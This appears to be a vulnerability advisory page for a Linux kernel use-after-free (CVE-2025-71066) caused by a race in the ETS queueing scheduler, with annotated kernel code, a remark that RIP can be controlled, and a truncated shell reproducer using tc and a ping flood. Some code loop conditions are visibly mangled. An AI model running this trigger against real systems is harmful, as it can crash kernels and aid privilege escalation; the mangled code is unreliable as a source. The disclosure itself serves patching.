CVE-2025-71066
Publication date:
13/01/2026
In the Linux kernel, the following vulnerability has been resolved:<br />
<br />
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change<br />
<br />
zdi-disclosures@trendmicro.com says:<br />
<br />
The vulnerability is a race condition between `ets_qdisc_dequeue` and<br />
`ets_qdisc_change`. It leads to UAF on `struct Qdisc` object.<br />
Attacker requires the capability to create new user and network namespace<br />
in order to trigger the bug.<br />
See my additional commentary at the end of the analysis.<br />
<br />
Analysis:<br />
<br />
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,<br />
struct netlink_ext_ack *extack)<br />
{<br />
...<br />
<br />
// (1) this lock is preventing .change handler (`ets_qdisc_change`)<br />
//to race with .dequeue handler (`ets_qdisc_dequeue`)<br />
sch_tree_lock(sch);<br />
<br />
for (i = nbands; i = q->nstrict && q->classes[i].qdisc->q.qlen)<br />
list_del_init(&q->classes[i].alist);<br />
qdisc_purge_queue(q->classes[i].qdisc);<br />
}<br />
<br />
WRITE_ONCE(q->nbands, nbands);<br />
for (i = nstrict; i nstrict; i++) {<br />
if (q->classes[i].qdisc->q.qlen) {<br />
// (2) the class is added to the q->active<br />
list_add_tail(&q->classes[i].alist, &q->active);<br />
q->classes[i].deficit = quanta[i];<br />
}<br />
}<br />
WRITE_ONCE(q->nstrict, nstrict);<br />
memcpy(q->prio2band, priomap, sizeof(priomap));<br />
<br />
for (i = 0; i nbands; i++)<br />
WRITE_ONCE(q->classes[i].quantum, quanta[i]);<br />
<br />
for (i = oldbands; i nbands; i++) {<br />
q->classes[i].qdisc = queues[i];<br />
if (q->classes[i].qdisc != &noop_qdisc)<br />
qdisc_hash_add(q->classes[i].qdisc, true);<br />
}<br />
<br />
// (3) the qdisc is unlocked, now dequeue can be called in parallel<br />
// to the rest of .change handler<br />
sch_tree_unlock(sch);<br />
<br />
ets_offload_change(sch);<br />
for (i = q->nbands; i classes[i].qdisc);<br />
// (5) If we call .dequeue between (4) and (5), we will have<br />
// a strong UAF and we can control RIP<br />
q->classes[i].qdisc = NULL;<br />
WRITE_ONCE(q->classes[i].quantum, 0);<br />
q->classes[i].deficit = 0;<br />
gnet_stats_basic_sync_init(&q->classes[i].bstats);<br />
memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));<br />
}<br />
return 0;<br />
}<br />
<br />
Comment:<br />
This happens because some of the classes have their qdiscs assigned to<br />
NULL, but remain in the active list. This commit fixes this issue by always<br />
removing the class from the active list before deleting and freeing its<br />
associated qdisc<br />
<br />
Reproducer Steps<br />
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)<br />
<br />
```<br />
DEV="${DEV:-lo}"<br />
ROOT_HANDLE="${ROOT_HANDLE:-1:}"<br />
BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2<br />
PING_BYTES="${PING_BYTES:-48}"<br />
PING_COUNT="${PING_COUNT:-200000}"<br />
PING_DST="${PING_DST:-127.0.0.1}"<br />
<br />
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"<br />
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"<br />
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"<br />
<br />
cleanup() {<br />
tc qdisc del dev "$DEV" root 2>/dev/null<br />
}<br />
trap cleanup EXIT<br />
<br />
ip link set "$DEV" up<br />
<br />
tc qdisc del dev "$DEV" root 2>/dev/null || true<br />
<br />
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br />
<br />
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \<br />
tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"<br />
<br />
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2<br />
tc -s qdisc ls dev $DEV<br />
<br />
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \<br />
>/dev/null 2>&1 &<br />
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0<br />
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br />
tc -s qdisc ls dev $DEV<br />
tc qdisc del dev "$DEV" parent <br />
---truncated---
Severity CVSS v4.0: Pending analysis
Last modification:
19/01/2026